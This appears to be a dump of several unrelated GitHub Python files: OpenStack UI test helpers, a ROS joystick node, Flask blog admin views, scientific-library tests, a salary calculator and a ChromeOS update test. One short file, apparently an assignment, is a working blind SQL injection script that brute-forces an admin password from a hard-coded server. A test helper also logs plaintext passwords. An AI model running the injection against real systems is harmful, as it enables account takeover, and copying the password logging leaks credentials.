\".//*[@id='modal_wrapper']/div/div/div/div[3]/a[2]\"\n self.driver.find_element_by_xpath(xpath).click()\n time.sleep(1)\n get_img(self.driver, self.nowtime, self.CaseName)\n logger(\"INFO\", \"destroy action is finished\")\n\n # delete image\n def image_destroy(self, name):\n self.driver.get(url)\n time.sleep(2)\n self.login_again()\n menus = \"项目->镜像\"\n for item in menus.split('->'):\n self.click_button(item)\n time.sleep(2)\n try:\n self.driver.find_element_by_link_text(name).click()\n except:\n get_img(self.driver, self.nowtime, self.CaseName)\n logger(\"WARN\", \"%s is not exist!\" % name)\n return None\n time.sleep(2)\n elementid = \"//*[@help_text='删除的镜像均无法恢复。']\"\n xpath = \"//*[@id='content_body']/div[1]/div/div[1]/form/div/a[2]\"\n self.driver.find_element_by_xpath(xpath).click()\n self.driver.find_element_by_xpath(elementid).click()\n time.sleep(2)\n self.driver.find_element_by_link_text(\"删除镜像\").click()\n time.sleep(1)\n get_img(self.driver, self.nowtime, self.CaseName)\n logger(\"INFO\", \"destroy action is finished\")\n\n # delete image\n def host_aggregates_destroy(self, name):\n self.driver.get(url)\n time.sleep(2)\n self.login_again()\n self.driver.find_element_by_link_text(\"主机集合\").click()\n time.sleep(2)\n buttonname = u\"删除主机聚合\"\n xpath = \"//*[@data-display='\" + name + \"']/td[6]/div/a[2]\"\n try:\n self.driver.find_element_by_xpath(xpath).click()\n except:\n get_img(self.driver, self.nowtime, self.CaseName)\n logger(\"WARN\", \"%s is not exist!\" % name)\n return None\n time.sleep(2)\n self.driver.find_element_by_link_text(\"管理主机\").click()\n time.sleep(2)\n try:\n self.driver.find_element_by_link_text(\"-\").click()\n self.driver.find_element_by_link_text(\"-\").click()\n except:\n logger(\"INFO\", \"host_aggregate do not bind host!\")\n xpath = \"//*[@id='modal_wrapper']/div/form/div/div/div[3]/input\"\n self.driver.find_element_by_xpath(xpath).click()\n time.sleep(2)\n xpathstr = \"//*[@data-display='\" + name + \"']/td[1]/input\"\n self.driver.find_element_by_xpath(xpathstr).click()\n self.click_button(buttonname)\n time.sleep(2)\n self.driver.find_element_by_link_text(buttonname).click()\n time.sleep(1)\n get_img(self.driver, self.nowtime, self.CaseName)\n logger(\"INFO\", \"destroy action is finished\")\n\n # visual dir destroy\n def visualdir_destroy(self, name):\n for i in name.split(','):\n xpathstr = \"//*[@data-display='\" + i + \"']/td[1]/input\"\n try:\n self.driver.find_element_by_xpath(xpathstr).click()\n except:\n logger(\"WARN\", \"%s is not exist!\" % i)\n try:\n self.click_button(u\"删除对象\")\n except:\n get_img(self.driver, self.nowtime, self.CaseName)\n logger(\"WARN\", \"%s is not exist!\" % name)\n return None\n time.sleep(2)\n self.driver.find_element_by_link_text(u\"删除对象\").click()\n time.sleep(1)\n get_img(self.driver, self.nowtime, self.CaseName)\n logger(\"INFO\", \"destroy action is finished\")\n\n # 删除浮动IP\n def floatIP_destroy(self):\n self.driver.get(url)\n time.sleep(2)\n self.login_again()\n # self.driver.find_element_by_xpath('//*[@id=\"navbar-collapse\"]/ul[1]/li').click()\n # self.driver.find_element_by_link_text('admin').click()\n \"\"\"\n menus = \"项目->访问 & 安全\"\n for item in menus.split('->'):\n self.click_button(item)\n \"\"\"\n self.click_button(\"项目\")\n try:\n self.click_button(\"访问 & 安全\")\n except:\n self.click_button(\"项目\")\n self.click_button(\"访问 & 安全\")\n time.sleep(2)\n self.driver.find_element_by_link_text('浮动IP').click()\n xpath_tfoot = '//*[@id=\"floating_ips\"]/tfoot/tr/td/span'\n number = self.driver.find_element_by_xpath(xpath_tfoot).text\n match_re = re.match(r\".*?(\\d+).*\", number)\n number = match_re.group(1)\n logger(\"INFO\", \"There is %s float IP here !\" % number)\n if number == '1':\n checkbox_xpath = '//*[@id=\"floating_ips\"]/thead/tr[2]/th[1]/input'\n else:\n checkbox_xpath = '//*[@id=\"floating_ips\"]/thead/tr[2]/th[1]/div/input'\n try:\n self.driver.find_element_by_xpath(checkbox_xpath).click()\n self.driver.find_element_by_id('floating_ips__action_release').click()\n time.sleep(2)\n self.driver.find_element_by_xpath('//*[@id=\"modal_wrapper\"]/div/div/div/div[3]/a[2]').click()\n logger(\"INFO\", \"Delete them all successfully !\")\n except:\n logger(\"INFO\", \"There is no float IP here !\")\n\n # 获取对应id的表中的数据总数\n def get_table_number(self, id):\n logger(\"INFO\", \"start find table %s\" % id)\n time.sleep(2)\n xpath_foot = \"//*[@id='\" + id + \"']/tfoot/tr/td/span\"\n try:\n foot_text = self.driver.find_element_by_xpath(xpath_foot).text\n match_re = re.match(r\".*?(\\d+).*\", foot_text)\n logger(\"INFO\", \"successful get number of %s table\" % id)\n return match_re.group(1)\n except:\n logger(\"WARN\", \"%s table is not exist!\" % id)\n\n # 选中对象\n def click_checkbox(self, name):\n logger(\"INFO\", \"start click %s\" % name)\n time.sleep(2)\n if '全部' in name:\n self.driver.find_element_by_css_selector(\"input.table-row-multi-select\").click()\n else:\n for i in name.split(','):\n xpathstr = \"//*[@data-display='\" + i + \"']/td[1]/input\"\n try:\n result = self.driver.find_element_by_xpath(xpathstr)\n except:\n self.driver.find_element_by_link_text(i).click()\n xpath = '//*[@id=\"subnet_details__overview\"]/div/dl/dd[2]'\n id = self.driver.find_element_by_xpath(xpath).text\n self.driver.back()\n xpathstr = \"//*[@data-display='\" + id + \"']/td[1]/input\"\n try:\n self.driver.find_element_by_xpath(xpathstr).click()\n logger(\"INFO\", \"click %s successfully\" % i)\n except:\n logger(\"WARN\", \"%s is not exist!\" % i)\n\n # 如果页面过期跳转至登录界面,则再次登录\n def login_again(self):\n try:\n self.driver.find_element_by_id(\"loginBtn\")\n logger(\"INFO\", \"This is login page!\")\n webuitest.login(self.driver, self.username, self.password)\n logger(\"INFO\", \"%s,%s login again successfully!\" % (self.username, self.password))\n except:\n logger(\"INFO\", \"This is not login page, keep going!\")\n\n \"\"\"\n # 模拟鼠标点击动作\n def mouse_click(self):\n m = PyMouse()\n place = m.position()\n m.click(83, 421)\n logger(\"INFO\", \"mouse click finished\")\n \"\"\"\n##\n# @}\n# @}\n##\n","repo_name":"lizhsen/webuitest","sub_path":"lib/get_element.py","file_name":"get_element.py","file_ext":"py","file_size_in_byte":36123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3720291019","text":"import requests\nimport string\n\ns = requests.session()\nip = 'http://52.183.128.218/index.php?debug=True'\n\ncol_name = 'password'\npwd = ''\n\ndef check_pwd(p : str):\n query = 'admin\\\" AND '+col_name+' LIKE \\\"{}%'.format(p)\n r = s.post(ip,{'username':query})\n # print(r.content)\n i = r.content.find(b'exists')\n if (i == -1):\n return False\n else:\n return True\nwhile True:\n op = False\n for i in (string.ascii_letters+string.digits):\n if (check_pwd(pwd+i)):\n pwd += i\n print(pwd)\n op = True\n break\n if (not op):\n print(\"we're done\")\n print(pwd)\n break","repo_name":"jsahil730/Assignment","sub_path":"task3/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25620883069","text":"import rclpy\nimport time\nimport threading\nfrom rclpy.node import Node\nfrom rclpy.qos import QoSProfile\nfrom sensor_msgs.msg import Joy\nfrom geometry_msgs.msg import Twist, PoseStamped\n# from teleop_joy.nav2_action_class import Nav2ActionNodeExample\n\n\nCONTROLLER_MSG = '''\n---------------------------------------\n increase -----------\n linear_x |RB button| is emergency stop.\n +---+ -----------\n | △ | |LB button| is Safety_button\n increase +---+---+---+ decrease -----------\n angular_y | ◁ | | ▷ | agular_y ----------------------\n +---+---+---+ |FollowWaypoints 1 button Y\n | ▽ | |FollowWaypoints 2 button X\n ----- |FollowWaypoints 3 button B\n decrease |FollowWaypoints 4 button A\n linear_x ----------------------\n---------------------------------------\nRemote_joy Controller\nEnjoy your Robot Control\n---------------------------------------\n'''\n\n\nclass CommandReceiver(Node, threading.Thread):\n\n def __init__(self):\n # rclpy.init()\n super().__init__('command_receiver')\n threading.Thread.__init__(self)\n qos_profile = QoSProfile(depth=10)\n self._joy_sub = self.create_subscription(Joy, # 조이스틱을 사용하기 위한 섭스크라이브\n 'joy',\n self.joy_callback,\n qos_profile)\n\n # publisher\n self._twist_pub = self.create_publisher(Twist,\n '/cmd_vel', # 'turtle1/cmd_vel' 터틀심test\n qos_profile) # 조종을 위한 퍼블리셔\n\n self.button_move_pub_ = self.create_publisher(PoseStamped, # 네비게이션을 통해 목표지점으로 가기 위힘 퍼블리셔\n '/goal_pose',\n qos_profile)\n\n self.setDaemon(True)\n\n self.BUTTON_A = 0 # 버튼을 누를떄 인덱스 값정의\n self.BUTTON_B = 1\n self.BUTTON_UNKWON_1 = 2\n self.BUTTON_X = 3\n self.BUTTON_Y = 4\n self.BUTTON_UNKWON_2 = 5\n self.BUTTON_LB = 6\n self.BUTTON_RB = 7\n self.BUTTON_LT = 8\n self.BUTTON_RT = 9\n self.BUTTON_BACK = 10\n self.BUTTON_START = 11\n self.BUTTON_XBOX = 12\n self.BUTTON_L3 = 13\n self.BUTTON_R3 = 14\n\n self.__BUTTON_INDEX_LAST = self.BUTTON_R3\n\n self.button_a_status = False # 버튼값 초기화\n self.button_b_status = False\n self.button_unkwon_1_status = False\n self.button_x_status = False\n self.button_y_status = False\n self.button_unkwon_2_status = False\n self.button_lb_status = False\n self.button_rb_status = False\n self.button_lt_status = False\n self.button_rt_status = False\n self.button_back_status = False\n self.button_start_status = False\n self.button_xbox_status = False\n self.button_l3_status = False\n self.button_r3_status = False\n\n self.__STATE_PUSHED = 1\n self.selected_command = None\n self.tw = Twist\n\n self.button_status_list = [self.button_a_status, # 버튼의 값을 리스트로 만들어 줍니다.\n self.button_b_status,\n self.button_unkwon_1_status,\n self.button_x_status,\n self.button_y_status,\n self.button_unkwon_2_status,\n self.button_lb_status,\n self.button_rb_status,\n self.button_lt_status,\n self.button_rt_status,\n self.button_back_status,\n self.button_start_status,\n self.button_xbox_status,\n self.button_l3_status,\n self.button_r3_status]\n\n self.__button_name_list = [\"BUTTON A\", # 버튼의 이름 정의\n \"BUTTON B\",\n \"BUTTON UNKWON 1\",\n \"BUTTON X\",\n \"BUTTON Y\",\n \"BUTTON UNKWON 2\",\n \"BUTTON LB\",\n \"BUTTON RB\",\n \"BUTTON LT\",\n \"BUTTON RT\",\n \"BUTTON BACK\",\n \"BUTTON START\",\n \"BUTTON XBOX\",\n \"BUTTON L3\",\n \"BUTTON R3\"]\n\n def __del__(self):\n # self.__is_alive = False\n self.destroy_node()\n rclpy.shutdown()\n\n def joy_callback(self, joy_msg): # 콜백 함수\n axes_index = 0 # 조이스틱의 컨트롤 메세지\n for axes_value in joy_msg.axes:\n self.axes_value_list[axes_index] = axes_value\n axes_index += 1\n\n index = 0 # 버튼 인덱스 컨트롤 메세지\n for button_status in joy_msg.buttons:\n if button_status is self.__STATE_PUSHED:\n print(self.__button_name_list[index] + \" pushed!!\")\n self.button_status_list[index] = True\n else:\n self.button_status_list[index] = False\n index += 1\n\n\n def run(self) -> None:\n self.node_main()\n # self.__is_alive = self.is_alive()\n # while self.__is_alive:\n\n def node_main(self): # 출력을 조절하기 위한 슬립\n while True:\n time.sleep(1)\n # rclpy.spin(self)\n\n def ros_spin_once(self):\n rclpy.spin_once(self)\n '''\n spin 과 spin_once 의 차이점\n 공통점 : 큐에 요청된 콜백함수를 처리함\n 차이점 : [spin] = 프로그램이 종료될 때 까지 반복,\n [spin_once] = 호출 시점까지 요청된 콜백함수를 처리\n '''\n\n\nif __name__ == '__main__':\n node_instance = CommandReceiver()\n node_instance.start()\n while True:\n node_instance.ros_spin_once()\n time.sleep(0.0125)\n","repo_name":"leeeju/Toy_project_teleop_joy","sub_path":"teleop_joy/joy_command_receiver.py","file_name":"joy_command_receiver.py","file_ext":"py","file_size_in_byte":6697,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"6201767512","text":"from flask import abort, flash, redirect, render_template, request, url_for\nfrom flask_login import current_user, login_required\nfrom wtforms import BooleanField\n\nfrom . import manage\nfrom .. import db\nfrom ..decorators import admin_required, permission_required\nfrom ..models import Classify, Post, Role, Tag, User\nfrom .forms import (AddClassifyForm, AddTagForm, EditProfileAdminForm,\n EditProfileForm, ManageWithIDs, PostForm)\n\n\n@manage.route('/manage/edit-profile', methods=['GET', 'POST'])\n@login_required\ndef edit_profile():\n form = EditProfileForm()\n if form.validate_on_submit():\n current_user.name = form.name.data\n current_user.location = form.location.data\n current_user.about_me = form.about_me.data\n db.session.add(current_user)\n db.session.commit()\n flash(\"你的资料已经修改完成\")\n print(current_user.name, current_user.location, current_user.about_me)\n return redirect(url_for('main.user', username=current_user.username))\n form.name.data = current_user.name\n form.location.data = current_user.location\n form.about_me.data = current_user.about_me\n return render_template('manage/edit_profile.html', form=form)\n\n\n@manage.route('/manage/edit-profile/', methods=['GET', 'POST'])\n@login_required\n@admin_required\ndef edit_profile_admin(id):\n user = User.query.get_or_404(id)\n form = EditProfileAdminForm(user=user)\n if form.validate_on_submit():\n user.email = form.email.data\n user.username = form.username.data\n user.confirmed = form.confirmed.data\n user.role = Role.query.get(form.role.data)\n user.name = form.name.data\n user.location = form.location.data\n user.about_me = form.about_me.data\n db.session.add(user)\n db.session.commit()\n flash('已经修改完成用户信息')\n return redirect(request.args.get('next') or\n url_for('main.user', username=user.username))\n\n form.email.data = user.email\n form.username.data = user.username\n form.confirmed.data = user.confirmed\n form.role.data = user.role_id\n form.name.data = user.name\n form.location.data = user.location\n form.about_me.data = user.about_me\n return render_template('manage/edit_profile.html', form=form, user=user)\n\n\n@manage.route('/manage/modifyblog/', methods=['GET', 'POST'])\n@manage.route('/manage/writeblog', methods=['GET', 'POST'])\n@login_required\n@admin_required\ndef manageblog(id=None):\n form = PostForm()\n all_tag = list(map(lambda tag: tag.tag, Tag.query.all()))\n all_classify = list(\n map(lambda classify: classify.classify, Classify.query.all()))\n\n if id is None:\n post = Post()\n else:\n post = Post.query.get_or_404(id)\n\n if form.validate_on_submit():\n post.title = form.title.data\n post.body = form.body.data\n post.author = current_user._get_current_object()\n\n # 删除就标签 添加新标签\n tags = add_tags(form.tags.data)\n tmp = post.tags.all()\n list(map(lambda t: post.tags.remove(t), tmp))\n list(map(lambda t: post.tags.append(t), tags))\n\n # 删除就分类 添加新分类\n classifys = add_classifys(form.classifys.data)\n tmp = post.classifys.all()\n list(map(lambda c: post.classifys.remove(c), tmp))\n list(map(lambda c: post.classifys.append(c), classifys))\n if id is None:\n db.session.add(post)\n db.session.commit()\n flash(\"添加文章完成\")\n return redirect(url_for('main.index'))\n else:\n db.session.commit()\n flash(\"修改文章完成\")\n return redirect(url_for('manage.manage_posts'))\n if id is not None:\n form.title.data = post.title\n form.body.data = post.body\n form.tags.data = ','.join(map(lambda tag: tag.tag, post.tags.all()))\n form.classifys.data = ','.join(\n map(lambda classify: classify.classify, post.classifys.all()))\n\n return render_template('manage/manageblog.html', form=form,\n all_tag=all_tag, all_classify=all_classify)\n\n\ndef select_sql_tag(tag):\n tmp = Tag.query.filter_by(tag=tag).first()\n if tmp:\n return tmp\n return None\n\n\ndef add_tags(tag_str):\n tag_list = tag_str.split(',')\n tags = []\n for tag in tag_list:\n s_tag = select_sql_tag(tag)\n if not s_tag:\n s_tag = Tag()\n s_tag.tag = tag\n db.session.add(s_tag)\n tags.append(s_tag)\n db.session.commit()\n return tags\n\n\n@manage.route('/manage/tags', methods=['GET', 'POST'])\n@login_required\n@admin_required\ndef manage_tags():\n add_tag = AddTagForm()\n del_tag_id = ManageWithIDs(Tag)\n if request.args.get('do') == 'del':\n if del_tag_id.validate_on_submit():\n list(map(db.session.delete, del_tag_id.datas))\n db.session.commit()\n return redirect(url_for('manage.manage_tags'))\n if request.args.get('do') == 'add':\n if add_tag.validate_on_submit():\n tag = Tag()\n tag.tag = add_tag.tag.data\n db.session.add(tag)\n db.session.commit()\n return redirect(url_for('manage.manage_tags'))\n tags = Tag.query.filter_by().all()\n return render_template('manage/tags.html',\n add_tag=add_tag, id_list=del_tag_id, tags=tags)\n\n\ndef select_sql_classify(classify):\n tmp = Classify.query.filter_by(classify=classify).first()\n if tmp:\n return tmp\n return None\n\n\ndef add_classifys(classify_str):\n classify_list = classify_str.split(',')\n classifys = []\n for classify in classify_list:\n s_classify = select_sql_classify(classify)\n if not s_classify:\n s_classify = Classify()\n s_classify.classify = classify\n db.session.add(s_classify)\n classifys.append(s_classify)\n db.session.commit()\n return classifys\n\n\n@manage.route('/manage/classifys', methods=['GET', 'POST'])\n@login_required\n@admin_required\ndef manage_classifys():\n\n add_classify = AddClassifyForm()\n del_classify_id = ManageWithIDs(Classify)\n if request.args.get('do') == 'del':\n if del_classify_id.validate_on_submit():\n list(map(db.session.delete, del_classify_id.datas))\n db.session.commit()\n return redirect(url_for('manage.manage_classifys'))\n if request.args.get('do') == 'add':\n if add_classify.validate_on_submit():\n classify = Classify()\n classify.classify = add_classify.classify.data\n db.session.add(classify)\n db.session.commit()\n return redirect(url_for('manage.manage_classifys'))\n\n classifys = Classify.query.filter_by().all()\n return render_template('manage/classifys.html',\n add_classify=add_classify,\n del_classify_id=del_classify_id, classifys=classifys)\n\n\n@manage.route('/manage/users', methods=['GET', 'POST'])\n@login_required\n@admin_required\ndef manage_users():\n users = User.query.all()\n del_user_id = ManageWithIDs(User)\n if request.args.get('do') == 'del':\n if del_user_id.validate_on_submit():\n list(map(db.session.delete, del_user_id.datas))\n db.session.commit()\n return redirect(url_for('manage.manage_users'))\n return render_template('manage/users.html', users=users, id_list=del_user_id)\n\n\n@manage.route('/manage/posts', methods=['GET', 'POST'])\n@login_required\n@admin_required\ndef manage_posts():\n del_post_id = ManageWithIDs(Post)\n if request.args.get('do') == 'del':\n if del_post_id.validate_on_submit():\n list(map(db.session.delete, del_post_id.datas))\n db.session.commit()\n return redirect(url_for('manage.manage_posts'))\n posts = Post.query.all()\n return render_template('manage/posts.html', posts=posts, id_list=del_post_id)\n","repo_name":"copie/Cblog","sub_path":"app/manage/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7988,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"1109059599","text":"\"\"\"\nSanitizing wrapper of main algorithm\n====================================\n\nPerforms checks and organizes required transformations of points.\n\n\"\"\"\nfrom __future__ import annotations\n\nfrom logging import getLogger as get_logger\n\nfrom orion.algo.base import BaseAlgorithm\nfrom orion.algo.space import Space\nfrom orion.core.worker.algo_wrappers.transform_wrapper import AlgoT, TransformWrapper\nfrom orion.core.worker.transformer import (\n ReshapedSpace,\n TransformedSpace,\n build_required_space,\n)\nfrom orion.core.worker.trial import Trial\n\nlogger = get_logger(__name__)\n\n\nclass SpaceTransform(TransformWrapper[AlgoT]):\n \"\"\"Perform checks on points and transformations. Wrap the primary algorithm.\n\n 1. Checks requirements on the parameter space from algorithms and create the\n appropriate transformations. Apply transformations before and after methods\n of the primary algorithm.\n 2. Checks whether incoming and outcoming points are compliant with a space.\n\n Parameters\n ----------\n space : `orion.algo.space.Space`\n The original definition of a problem's parameters space.\n algorithm: instance of `BaseAlgorithm`\n Algorithm to be wrapped.\n \"\"\"\n\n def __init__(self, space: Space, algorithm: AlgoT):\n super().__init__(space=space, algorithm=algorithm)\n\n @property\n def transformed_space(self) -> TransformedSpace | ReshapedSpace:\n \"\"\"The transformed space (after transformations).\n This is only exposed to the wrapped algo, not to classes outside of this.\n \"\"\"\n transformed_space = self.algorithm.space\n assert isinstance(transformed_space, (TransformedSpace, ReshapedSpace))\n return transformed_space\n\n # pylint: disable=arguments-differ\n @classmethod\n def transform_space(\n cls, space: Space, algo_type: type[BaseAlgorithm]\n ) -> TransformedSpace | ReshapedSpace:\n \"\"\"Transform the space, so that the algorithm that is passed to the constructor already\n has the right space.\n \"\"\"\n transformed_space = build_required_space(\n space,\n type_requirement=algo_type.requires_type,\n shape_requirement=algo_type.requires_shape,\n dist_requirement=algo_type.requires_dist,\n )\n assert isinstance(transformed_space, (TransformedSpace, ReshapedSpace))\n return transformed_space\n\n def transform(self, trial: Trial) -> Trial:\n self._verify_trial(trial)\n return self.transformed_space.transform(trial)\n\n def reverse_transform(self, trial: Trial) -> Trial:\n return self.transformed_space.reverse(trial)\n\n def _verify_trial(self, trial: Trial, space: Space | None = None) -> None:\n space = space or self.space\n space.assert_contains(trial)\n","repo_name":"Epistimio/orion","sub_path":"src/orion/core/worker/algo_wrappers/space_transform.py","file_name":"space_transform.py","file_ext":"py","file_size_in_byte":2789,"program_lang":"python","lang":"en","doc_type":"code","stars":271,"dataset":"github-code","pt":"82"} +{"seq_id":"5277973268","text":"import numpy as np\nimport pytest\n\nfrom libertem.udf import UDF\nfrom libertem.io.dataset.memory import MemoryDataSet\n\nfrom utils import _mk_random\n\n\nclass PixelsumUDF(UDF):\n def get_result_buffers(self):\n return {\n 'pixelsum': self.buffer(\n kind=\"nav\", dtype=\"float32\"\n )\n }\n\n def process_partition(self, partition):\n self.results.pixelsum[:] += np.sum(partition, axis=(-1, -2))\n\n\n@pytest.mark.parametrize(\n 'tileshape', (None, ((16*16)//7, 16, 16))\n)\ndef test_sum_tiles(lt_ctx, tileshape):\n data = _mk_random(size=(16, 16, 16, 16), dtype=\"float32\")\n # The dataset can force a different tile size even for process_partition!\n # At least MemoryDataSet does that and we should check that everything is ok...\n dataset = MemoryDataSet(\n data=data, num_partitions=7, sig_dims=2, tileshape=tileshape\n )\n\n pixelsum = PixelsumUDF()\n res = lt_ctx.run_udf(dataset=dataset, udf=pixelsum)\n assert 'pixelsum' in res\n print(data.shape, res['pixelsum'].data.shape)\n assert np.allclose(res['pixelsum'].data, np.sum(data, axis=(2, 3)))\n\n\nclass TouchUDF(UDF):\n def get_result_buffers(self):\n return {\n 'touched': self.buffer(\n kind=\"nav\", dtype=\"int\"\n )\n }\n\n def process_partition(self, partition):\n print(partition.shape)\n self.results.touched[:] += 1\n assert partition.shape[0] == self.meta.coordinates.shape[0]\n\n\n@pytest.mark.parametrize(\n 'use_roi', (False, True)\n)\n@pytest.mark.parametrize(\n 'tileshape', (None, (7, 16, 16), (8 * 16, 16, 16))\n)\ndef test_partition_roi(lt_ctx, use_roi, tileshape):\n data = _mk_random(size=(16, 16, 16, 16), dtype=\"float32\")\n dataset = MemoryDataSet(data=data, num_partitions=2, sig_dims=2, tileshape=tileshape)\n if use_roi:\n roi = np.random.choice([True, False], dataset.shape.nav)\n else:\n roi = None\n udf = TouchUDF()\n res = lt_ctx.run_udf(dataset=dataset, udf=udf, roi=roi)\n print(data.shape, res['touched'].data.shape)\n assert np.all(res['touched'].raw_data == 1)\n","repo_name":"LiberTEM/LiberTEM","sub_path":"tests/udf/test_by_partition.py","file_name":"test_by_partition.py","file_ext":"py","file_size_in_byte":2111,"program_lang":"python","lang":"en","doc_type":"code","stars":101,"dataset":"github-code","pt":"82"} +{"seq_id":"33808995418","text":"n=int(input(\"Enter the number of dates : \"))\namt=[]\nexp=[]\nprf=[] #amt-exp\nfor i in range(0,n):\n print(\"DAY \",i+1)\n amt.append(float(input(\"Enter the Amount : \")))\n exp.append(float(input(\"Enter the Expence : \")))\n prf.append(float((amt[i]-exp[i])))\n print(\"Profit :\",prf[i])\n#Finding sum\namt_sum=0\nexp_sum=0\nprf_sum=0\nfor i in range(0,n):\n amt_sum=amt_sum+amt[i]\n exp_sum=exp_sum+exp[i]\n prf_sum=prf_sum+prf[i]\n#Printing Sums\nprint(\"\\n\")\nprint(\"*******Summary*******\")\nprint(\"Total Amount : \",amt_sum)\nprint(\"Total Expence : \",exp_sum)\nprint(\"Total Profit : \",prf_sum)\n#General expense\ngen_exp=int(input(\"Enter General Expense : \"))\nreal_prf=prf_sum-gen_exp\nprint(\"Real Profit :\",real_prf)\nprint(\"\\n\")\n\n#Reading percentages\nfst_prcntge = int(input(\"Enter the First Percentage ([0-100]eg:80) : \"))\nscnd_prcntge = int(input(\"Enter the Second Percentage ([0-100]eg:80) : \"))\n\n#Finding % and Prnting\nprf_fst = real_prf * (fst_prcntge/100)\nprf_scnd = real_prf * (scnd_prcntge/100)\nprint(\"\\n\")\nprint(\"First \" , fst_prcntge , \"% : \" ,prf_fst)\nprint(\"Second \" , scnd_prcntge , \"% : \" ,prf_scnd)\n\nans=input(\"\\nDo you want to save this (Y/N) : \")\nif(ans=='y' or ans=='Y'):\n #Fetching data from mcnt\n f_mcnt=open(\"Data/mcnt\",'r')\n m_data=int(f_mcnt.readline())\n f_mcnt.close()\n #Fetching data from ycnt\n f_ycnt=open(\"Data/ycnt\",'r')\n y_data=int(f_ycnt.readline())\n f_ycnt.close()\n #Finding Month\n month=['Jan','Feb','Mar','Arp','May','Jun','July','Aug','Sep','Oct','Nov','Dec']\n year=['2016','2017','2018','2019','2020','2021','2022']\n #Making File Name\n newfile_name='Exports/'+month[m_data]+year[y_data]+'.txt'\n #Creating a file with month and year\n newfile=open(newfile_name,'w')\n #Creating a statement line\n line1=\"Number of Days : \"+str(n)\n line2=\"\\n\\nTotal Amount : \"+str(amt_sum)\n line3=\"\\nTotal Expence : \"+str(exp_sum)\n line4=\"\\nTotal Profit : \"+str(prf_sum)\n line5=\"\\n\\nGeneral Expense : \"+str(gen_exp)\n line6=\"\\nReal Profit : \"+str(real_prf)\n line7=\"\\n\\nFirst \"+ str(fst_prcntge) +\"% : \"+str(prf_fst)\n line8=\"\\nSecond \"+ str(scnd_prcntge) +\"% : \"+str(prf_scnd)\n txt=line1+line2+line3+line4+line5+line6+line7+line8\n #Writing to file\n newfile.write(txt)\n newfile.close()\n print(\"Done! File created successfully\")\n end = input(\"Press any key to exit...\")\n #Updating Month\n m_data=m_data+1\n f_mcnt=open(\"Data/mcnt\",'w')\n if(m_data<12):\n f_mcnt.write(str(m_data))\n else:\n f_mcnt.write('0')\n #Updating Year\n y_data=y_data+1\n f_ycnt=open(\"Data/ycnt\",'w')\n f_ycnt.write(str(y_data))\n f_mcnt.close()\nelse:\n print(\"\\n\\nPress ender to close\")\n end = input(\"Press any key to exit...\")\n","repo_name":"abhinkrishna/salaryCalc","sub_path":"Salary_Calc.py","file_name":"Salary_Calc.py","file_ext":"py","file_size_in_byte":2792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"15067854180","text":"from autotest_lib.client.common_lib import error\nfrom autotest_lib.client.common_lib.cros import tpm_utils\nfrom autotest_lib.server.cros.update_engine import update_engine_test\n\nclass autoupdate_NonBlockingOOBEUpdate(update_engine_test.UpdateEngineTest):\n \"\"\"Try a non-critical (non-blocking) update at OOBE which should fail.\"\"\"\n version = 1\n\n _NON_CRITICAL_ERROR = 'finished OmahaRequestAction with code ' \\\n 'ErrorCode::kNonCriticalUpdateInOOBE'\n\n def cleanup(self):\n \"\"\"Remove the custom lsb-release used by the test.\"\"\"\n self._clear_custom_lsb_release()\n super(autoupdate_NonBlockingOOBEUpdate, self).cleanup()\n\n\n def run_once(self, full_payload=True, job_repo_url=None):\n \"\"\"\n Tries an autoupdate during ChromeOS OOBE without a deadline.\n\n An Omaha response to update with a deadline attribute is considered\n critical and should be performed during OOBE. Non critical updates do\n not have a deadline and should not be executed.\n\n @param full_payload: True for a full payload. False for delta.\n @param job_repo_url: Used for debugging locally. This is used to figure\n out the current build and the devserver to use.\n The test will read this from a host argument\n when run in the lab.\n\n \"\"\"\n tpm_utils.ClearTPMOwnerRequest(self._host)\n payload_url = self.get_payload_for_nebraska(job_repo_url,\n full_payload=full_payload)\n self._run_client_test_and_check_result('autoupdate_StartOOBEUpdate',\n payload_url=payload_url,\n full_payload=full_payload,\n critical_update=False)\n\n # Check that the update failed as expected.\n if self._check_update_engine_log_for_entry(self._NON_CRITICAL_ERROR):\n return\n\n err_str = \"The update was expected to fail with error code \" \\\n \"'kNonCriticalUpdateInOOBE' because the update response \" \\\n \"was not critical and we are still at OOBE. This didn't \" \\\n \"happen.\"\n\n # Is there an update in progress?\n if not self._is_update_engine_idle():\n raise error.TestFail('An update was in progress when it should '\n 'not have started. %s' % err_str)\n # Were any update requests fired?\n elif not self._get_update_requests():\n raise error.TestFail('There were no update requests in '\n 'update_engine.log. OOBE update screen was '\n 'missed. %s' % err_str)\n else:\n err_code = self._get_last_error_string()\n if err_code is not None:\n err_str = '%s Actual Error: %s' % (err_str, err_code)\n raise error.TestFail(err_str)\n","repo_name":"Fimics/android12_pixel4xl","sub_path":"external/autotest/server/site_tests/autoupdate_NonBlockingOOBEUpdate/autoupdate_NonBlockingOOBEUpdate.py","file_name":"autoupdate_NonBlockingOOBEUpdate.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"38260692556","text":"from flask import (\n Flask, Blueprint, flash, g, redirect, render_template, request, url_for, send_from_directory, current_app)\nfrom werkzeug.exceptions import abort\nfrom werkzeug.utils import secure_filename\nfrom birthdayjo.auth import login_required\nfrom birthdayjo.db import get_db\nimport uuid\n\nimport os\nimport imghdr\nbp = Blueprint('blog', __name__, url_prefix='/')\n\n\n\ndef validate_image(stream):\n header = stream.read(512) # 512 bytes should be enough for a header check\n stream.seek(0) # reset stream pointer\n format = imghdr.what(None, header)\n if not format:\n return None\n return '.' + (format if format != 'jpeg' else 'jpg')\n\n@bp.errorhandler(413)\ndef too_large(e):\n return \"File is too large\", 413\n\n@bp.route('/create/')\ndef index():\n return render_template('/blog/create.html')\n\n@bp.route('/create/', methods=['GET','POST'])\n@login_required\ndef create():\n if request.method == 'POST':\n title = request.form['title']\n body = request.form['body']\n error = None\n files = str(request.files['file'])\n #if os.path.exists(g.user['username']) is 